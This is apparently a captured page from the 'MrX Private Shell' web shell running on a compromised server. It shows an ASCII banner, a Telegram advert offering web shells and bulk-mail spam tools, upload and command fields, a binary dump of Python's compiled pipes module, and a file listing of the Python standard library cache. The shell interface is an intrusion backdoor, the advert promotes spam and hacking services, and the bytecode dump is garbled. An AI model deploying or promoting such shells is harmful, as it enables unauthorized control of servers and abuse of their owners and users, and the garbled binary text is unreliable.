__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

F�ri#���dZddlZddlZddlZddlZddlmZejed��dgZ	dZ
dZd	Zd
Z
dZdZe
eee
eegZGd
�d�Zd�Zy)a�Conversion pipeline templates.

The problem:
------------

Suppose you have some data that you want to convert to another format,
such as from GIF image format to PPM image format.  Maybe the
conversion involves several steps (e.g. piping it through compress or
uuencode).  Some of the conversion steps may require that their input
is a disk file, others may be able to read standard input; similar for
their output.  The input to the entire conversion may also be read
from a disk file or from an open file, and similar for its output.

The module lets you construct a pipeline template by sticking one or
more conversion steps together.  It will take care of creating and
removing temporary files if they are necessary to hold intermediate
data.  You can then use the template to do conversions from many
different sources to many different destinations.  The temporary
file names used are different each time the template is used.

The templates are objects so you can create templates for many
different conversion steps and store them in a dictionary, for
instance.


Directions:
-----------

To create a template:
    t = Template()

To add a conversion step to a template:
   t.append(command, kind)
where kind is a string of two characters: the first is '-' if the
command reads its standard input or 'f' if it requires a file; the
second likewise for the output. The command must be valid /bin/sh
syntax.  If input or output files are required, they are passed as
$IN and $OUT; otherwise, it must be  possible to use the command in
a pipeline.

To add a conversion step at the beginning:
   t.prepend(command, kind)

To convert a file to another file using a template:
  sts = t.copy(infile, outfile)
If infile or outfile are the empty string, standard input is read or
standard output is written, respectively.  The return value is the
exit status of the conversion pipeline.

To open a file for reading or writing through a conversion pipeline:
   fp = t.open(file, mode)
where mode is 'r' to read the file, or 'w' to write it -- just like
for the built-in function open() or for os.popen().

To create a new template object initialized to a given one:
   t2 = t.clone()
�N)�quote)��
)�remove�Template�ffz-fzf-�--z.-z-.c�X�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zy)rz'Class representing a pipeline template.c�2�d|_|j�y)z-Template() returns a fresh pipeline template.rN)�	debugging�reset��selfs �/usr/lib/python3.12/pipes.py�__init__zTemplate.__init__Xs������
�
��c�"�d|j�d�S)z t.__repr__() implements repr(t).z<Template instance, steps=�>��stepsrs r�__repr__zTemplate.__repr__]s��26�*�*�>�>rc��g|_y)z<t.reset() restores a pipeline template to its initial state.Nrrs rr
zTemplate.resetas	����
rc�d�t�}|jdd|_|j|_|S)zbt.clone() returns a new pipeline template with identical
        initial state as the current one.N)rrr)r�ts  r�clonezTemplate.clonees*��
�J���*�*�Q�-����n�n����rc��||_y)z(t.debug(flag) turns debugging on or off.N)r)r�flags  r�debugzTemplate.debugms	����rc���t|t�std��|tvrt	d|����|t
k(rt	d��|jr$|jddtk(rt	d��|ddk(r!tjd	|�st	d
��|ddk(r!tjd|�st	d��|jj||f�y
)z/t.append(cmd, kind) adds a new step at the end.z%Template.append: cmd must be a stringzTemplate.append: bad kind z-Template.append: SOURCE can only be prepended����z'Template.append: already ends with SINKr�f�\$IN\bz#Template.append: missing $IN in cmd�\$OUT\bz$Template.append: missing $OUT in cmdN)�
isinstance�str�	TypeError�	stepkinds�
ValueError�SOURCEr�SINK�re�search�append�r�cmd�kinds   rr.zTemplate.appendqs����#�s�#��C�D�D��y� ��t�E�F�F��6�>��L�M�M��:�:�$�*�*�R�.��+�t�3��F�G�G���7�c�>�"�)�)�I�s�";��B�C�C���7�c�>�"�)�)�J��"<��C�D�D��
�
���3��+�&rc���t|t�std��|tvrt	d|����|t
k(rt	d��|jr$|jddtk(rt	d��|ddk(r!tjd|�st	d	��|ddk(r!tjd
|�st	d��|jjd||f�y)
z2t.prepend(cmd, kind) adds a new step at the front.z&Template.prepend: cmd must be a stringzTemplate.prepend: bad kind z+Template.prepend: SINK can only be appendedrr!z,Template.prepend: already begins with SOURCEr"r#z$Template.prepend: missing $IN in cmdr$z%Template.prepend: missing $OUT in cmdN)r%r&r'r(r)r+rr*r,r-�insertr/s   r�prependzTemplate.prepend�s����#�s�#��D�E�E��y� ���F�G�G��4�<��J�K�K��:�:�$�*�*�Q�-��*�f�4��K�L�L���7�c�>�"�)�)�I�s�";��C�D�D���7�c�>�"�)�)�J��"<��D�E�E��
�
���!�c�4�[�)rc�v�|dk(r|j|�S|dk(r|j|�Std|����)z~t.open(file, rw) returns a pipe or file object open for
        reading or writing; the file is the other end of the pipeline.�r�wz*Template.open: rw must be 'r' or 'w', not )�open_r�open_wr))r�file�rws   r�openz
Template.open�sE����9��;�;�t�$�$�
��9��;�;�t�$�$���!�"�	"rc���|jst|d�S|jddtk(rtd��|j	|d�}tj|d�S)zit.open_r(file) and t.open_w(file) implement
        t.open(file, 'r') and t.open(file, 'w') respectively.r6r r!z)Template.open_r: pipeline ends width SINK�)rr<r+r)�makepipeline�os�popen�rr:r0s   rr8zTemplate.open_r�s[���z�z���c�?�"��:�:�b�>�!���$��H�I�I�����b�)���x�x��S�!�!rc���|jst|d�S|jddtk(rtd��|j	d|�}tj|d�S)Nr7rr!z,Template.open_w: pipeline begins with SOURCEr>)rr<r*r)r?r@rArBs   rr9zTemplate.open_w�sY���z�z���c�?�"��:�:�a�=���v�%��K�L�L�����D�)���x�x��S�!�!rc�L�tj|j||��S)N)r@�systemr?)r�infile�outfiles   r�copyz
Template.copy�s���y�y��*�*�6�7�;�<�<rc�l�t||j|�}|jrt|�d|z}|S)Nzset -x; )r?rr�print)rrFrGr0s    rr?zTemplate.makepipeline�s1���6�4�:�:�w�7���>�>��#�J��s�"�C��
rN)�__name__�
__module__�__qualname__�__doc__rrr
rrr.r4r<r8r9rHr?�rrrrUsA��1��
?����'� *� "�"�"�=�rc�P�g}|D]\}}|jd||dg��|s|jgd��|ddd\}}|ddk(r|s|jdgd��||dd<|ddd\}}|ddk(r|s|jgd��||dd<g}tdt|��D]v}||dz
d}||d}	|ddk(s	|	ddk(s�'t	j
�\}
}t
j|
�|j|�|x||dz
d<||d<�x|D]|}|\}
}}}|ddk(rd	t|�zd
z|z}|ddk(rdt|
�zd
z|z}|ddk(r|
r|d
zt|
�z}|ddk(r|r|dzt|�z}||d<�~|dd}|ddD]/}|dd\}}|ddk(rd|vrd|zdz}|dz|z}�(|dz|z}�1|r<d}|D]}|dzt|�z}�dt|dz�zdz}|dz|zdz|z}|S)Nr>)r>�catr	r>rr!rr"r �zOUT=z; zIN=�-z <z >z{ z; }z |
�
zrm -f� ztrap z; exitz 1 2 3 13 14 15)	r.r3�range�len�tempfile�mkstempr@�closer)rFrrG�listr0r1�garbage�i�lkind�rkind�fd�temp�item�inf�outf�cmdlist�rmcmdr:�trapcmds                   rr?r?�s����D��)�	��T����R��d�B�'�(�)�
����)�*��q�'�!�A�,�K�S�$��A�w�#�~�f����A�,�-��D��G�A�J��r�(�1�Q�-�K�S�$��A�w�#�~�g����)�*��D��H�R�L��G�
�1�c�$�i�
 �.���Q�q�S�	�!����Q���
����8�s�?�e�A�h�#�o�!�)�)�+�J�R���H�H�R�L��N�N�4� �)-�-�D��1��I�b�M�D��G�A�J�.��
��!%���c�4����7�c�>��5��;�&��-��3�C���7�c�>��%��*�$�t�+�c�1�C���7�c�>�c���*�u�S�z�)�C���7�c�>�d���*�u�T�{�*�C���Q��
��1�g�a�j�G��Q�R��+���1�Q�i���d���7�b�=��d�{��S�j�5�(����&��,�G���n�s�*�G�+�����	.�D��C�K�%��+�-�E�	.��E�%�(�"2�3�3�6G�G���D�.�7�*�T�1�E�9���Nr)rNr,r@rX�warnings�shlexr�_deprecatedrK�__all__�FILEIN_FILEOUT�
STDIN_FILEOUT�
FILEIN_STDOUT�STDIN_STDOUTr*r+r(rr?rOrr�<module>rps��8�v
�	��������X�g�.��,�����
��
�������
�]�M�<�
�T�
�	�`�`�FBr

Filemanager

Name Type Size Permission Actions
__future__.cpython-312.pyc File 4.59 KB 0644
__hello__.cpython-312.pyc File 870 B 0644
_aix_support.cpython-312.pyc File 4.65 KB 0644
_collections_abc.cpython-312.pyc File 44.84 KB 0644
_compat_pickle.cpython-312.pyc File 7.05 KB 0644
_compression.cpython-312.pyc File 7.32 KB 0644
_distutils_system_mod.cpython-312.pyc File 7.63 KB 0644
_markupbase.cpython-312.pyc File 11.99 KB 0644
_osx_support.cpython-312.pyc File 17.32 KB 0644
_py_abc.cpython-312.pyc File 6.89 KB 0644
_pydatetime.cpython-312.pyc File 91.99 KB 0644
_pydecimal.cpython-312.pyc File 222.47 KB 0644
_pyio.cpython-312.pyc File 107.68 KB 0644
_pylong.cpython-312.pyc File 9.75 KB 0644
_sitebuiltins.cpython-312.pyc File 4.65 KB 0644
_strptime.cpython-312.pyc File 23.55 KB 0644
_sysconfigdata__linux_x86_64-linux-gnu.cpython-312.pyc File 57.28 KB 0644
_sysconfigdata__x86_64-linux-gnu.cpython-312.pyc File 57.27 KB 0644
_threading_local.cpython-312.pyc File 8.1 KB 0644
_weakrefset.cpython-312.pyc File 11.48 KB 0644
abc.cpython-312.pyc File 7.87 KB 0644
aifc.cpython-312.pyc File 41.86 KB 0644
antigravity.cpython-312.pyc File 1003 B 0644
argparse.cpython-312.pyc File 99.3 KB 0644
ast.cpython-312.pyc File 97.93 KB 0644
base64.cpython-312.pyc File 23.84 KB 0644
bdb.cpython-312.pyc File 36.48 KB 0644
bisect.cpython-312.pyc File 3.56 KB 0644
bz2.cpython-312.pyc File 14.78 KB 0644
cProfile.cpython-312.pyc File 8.39 KB 0644
calendar.cpython-312.pyc File 38.69 KB 0644
cgi.cpython-312.pyc File 39.29 KB 0644
cgitb.cpython-312.pyc File 16.93 KB 0644
chunk.cpython-312.pyc File 7.14 KB 0644
cmd.cpython-312.pyc File 18.18 KB 0644
code.cpython-312.pyc File 12.75 KB 0644
codecs.cpython-312.pyc File 41.28 KB 0644
codeop.cpython-312.pyc File 6.75 KB 0644
colorsys.cpython-312.pyc File 4.53 KB 0644
compileall.cpython-312.pyc File 20.02 KB 0644
configparser.cpython-312.pyc File 62.09 KB 0644
contextlib.cpython-312.pyc File 29.66 KB 0644
contextvars.cpython-312.pyc File 261 B 0644
copy.cpython-312.pyc File 9.57 KB 0644
copyreg.cpython-312.pyc File 7.24 KB 0644
crypt.cpython-312.pyc File 5.24 KB 0644
csv.cpython-312.pyc File 17.37 KB 0644
dataclasses.cpython-312.pyc File 43.63 KB 0644
datetime.cpython-312.pyc File 409 B 0644
decimal.cpython-312.pyc File 406 B 0644
difflib.cpython-312.pyc File 73.73 KB 0644
dis.cpython-312.pyc File 33.75 KB 0644
doctest.cpython-312.pyc File 103.21 KB 0644
enum.cpython-312.pyc File 78.82 KB 0644
filecmp.cpython-312.pyc File 14.32 KB 0644
fileinput.cpython-312.pyc File 19.8 KB 0644
fnmatch.cpython-312.pyc File 6.34 KB 0644
fractions.cpython-312.pyc File 35.81 KB 0644
ftplib.cpython-312.pyc File 41.64 KB 0644
functools.cpython-312.pyc File 39.56 KB 0644
genericpath.cpython-312.pyc File 6.66 KB 0644
getopt.cpython-312.pyc File 8.17 KB 0644
getpass.cpython-312.pyc File 6.69 KB 0644
gettext.cpython-312.pyc File 21.63 KB 0644
glob.cpython-312.pyc File 9.61 KB 0644
graphlib.cpython-312.pyc File 10.08 KB 0644
gzip.cpython-312.pyc File 31.26 KB 0644
hashlib.cpython-312.pyc File 7.9 KB 0644
heapq.cpython-312.pyc File 17.54 KB 0644
hmac.cpython-312.pyc File 10.45 KB 0644
imaplib.cpython-312.pyc File 61.64 KB 0644
imghdr.cpython-312.pyc File 6.78 KB 0644
inspect.cpython-312.pyc File 130.32 KB 0644
io.cpython-312.pyc File 4.04 KB 0644
ipaddress.cpython-312.pyc File 88.63 KB 0644
keyword.cpython-312.pyc File 1.02 KB 0644
linecache.cpython-312.pyc File 6.25 KB 0644
locale.cpython-312.pyc File 58.14 KB 0644
lzma.cpython-312.pyc File 15.48 KB 0644
mailbox.cpython-312.pyc File 109 KB 0644
mailcap.cpython-312.pyc File 10.89 KB 0644
mimetypes.cpython-312.pyc File 23.62 KB 0644
modulefinder.cpython-312.pyc File 27.29 KB 0644
netrc.cpython-312.pyc File 8.69 KB 0644
nntplib.cpython-312.pyc File 43.89 KB 0644
ntpath.cpython-312.pyc File 25.42 KB 0644
nturl2path.cpython-312.pyc File 2.96 KB 0644
numbers.cpython-312.pyc File 13.64 KB 0644
opcode.cpython-312.pyc File 14.37 KB 0644
operator.cpython-312.pyc File 16.96 KB 0644
optparse.cpython-312.pyc File 65.96 KB 0644
os.cpython-312.pyc File 42.46 KB 0644
pathlib.cpython-312.pyc File 60.64 KB 0644
pdb.cpython-312.pyc File 82.93 KB 0644
pickle.cpython-312.pyc File 74.39 KB 0644
pickletools.cpython-312.pyc File 79.23 KB 0644
pipes.cpython-312.pyc File 10.66 KB 0644
pkgutil.cpython-312.pyc File 19.49 KB 0644
platform.cpython-312.pyc File 40.63 KB 0644
plistlib.cpython-312.pyc File 40.32 KB 0644
poplib.cpython-312.pyc File 18.18 KB 0644
posixpath.cpython-312.pyc File 17.81 KB 0644
pprint.cpython-312.pyc File 28.78 KB 0644
profile.cpython-312.pyc File 22.01 KB 0644
pstats.cpython-312.pyc File 37.03 KB 0644
pty.cpython-312.pyc File 7.19 KB 0644
py_compile.cpython-312.pyc File 9.84 KB 0644
pyclbr.cpython-312.pyc File 14.54 KB 0644
pydoc.cpython-312.pyc File 139.6 KB 0644
queue.cpython-312.pyc File 14.39 KB 0644
quopri.cpython-312.pyc File 9.1 KB 0644
random.cpython-312.pyc File 32.38 KB 0644
reprlib.cpython-312.pyc File 9.68 KB 0644
rlcompleter.cpython-312.pyc File 8.09 KB 0644
runpy.cpython-312.pyc File 14.05 KB 0644
sched.cpython-312.pyc File 7.55 KB 0644
secrets.cpython-312.pyc File 2.5 KB 0644
selectors.cpython-312.pyc File 25.52 KB 0644
shelve.cpython-312.pyc File 12.61 KB 0644
shlex.cpython-312.pyc File 13.83 KB 0644
shutil.cpython-312.pyc File 66.52 KB 0644
signal.cpython-312.pyc File 4.34 KB 0644
site.cpython-312.pyc File 28.38 KB 0644
sitecustomize.cpython-312.pyc File 300 B 0644
smtplib.cpython-312.pyc File 47.09 KB 0644
sndhdr.cpython-312.pyc File 10.46 KB 0644
socket.cpython-312.pyc File 40.84 KB 0644
socketserver.cpython-312.pyc File 33.46 KB 0644
sre_compile.cpython-312.pyc File 625 B 0644
sre_constants.cpython-312.pyc File 628 B 0644
sre_parse.cpython-312.pyc File 621 B 0644
ssl.cpython-312.pyc File 61.53 KB 0644
stat.cpython-312.pyc File 5.11 KB 0644
statistics.cpython-312.pyc File 54.12 KB 0644
string.cpython-312.pyc File 11.21 KB 0644
stringprep.cpython-312.pyc File 24.57 KB 0644
struct.cpython-312.pyc File 325 B 0644
subprocess.cpython-312.pyc File 77.33 KB 0644
sunau.cpython-312.pyc File 24.83 KB 0644
symtable.cpython-312.pyc File 18.34 KB 0644
sysconfig.cpython-312.pyc File 29.3 KB 0644
tabnanny.cpython-312.pyc File 11.87 KB 0644
tarfile.cpython-312.pyc File 120.5 KB 0644
telnetlib.cpython-312.pyc File 27.76 KB 0644
tempfile.cpython-312.pyc File 46.23 KB 0644
textwrap.cpython-312.pyc File 17.86 KB 0644
this.cpython-312.pyc File 1.38 KB 0644
threading.cpython-312.pyc File 63.81 KB 0644
timeit.cpython-312.pyc File 14.52 KB 0644
token.cpython-312.pyc File 3.47 KB 0644
tokenize.cpython-312.pyc File 24.19 KB 0644
trace.cpython-312.pyc File 32.25 KB 0644
traceback.cpython-312.pyc File 50.32 KB 0644
tracemalloc.cpython-312.pyc File 26.28 KB 0644
tty.cpython-312.pyc File 2.61 KB 0644
turtle.cpython-312.pyc File 180.3 KB 0644
types.cpython-312.pyc File 14.59 KB 0644
typing.cpython-312.pyc File 138.54 KB 0644
uu.cpython-312.pyc File 7.63 KB 0644
uuid.cpython-312.pyc File 32.23 KB 0644
warnings.cpython-312.pyc File 23.23 KB 0644
wave.cpython-312.pyc File 31.33 KB 0644
weakref.cpython-312.pyc File 30.61 KB 0644
webbrowser.cpython-312.pyc File 25.74 KB 0644
xdrlib.cpython-312.pyc File 11.56 KB 0644
zipapp.cpython-312.pyc File 9.74 KB 0644
zipimport.cpython-312.pyc File 23.9 KB 0644
Filemanager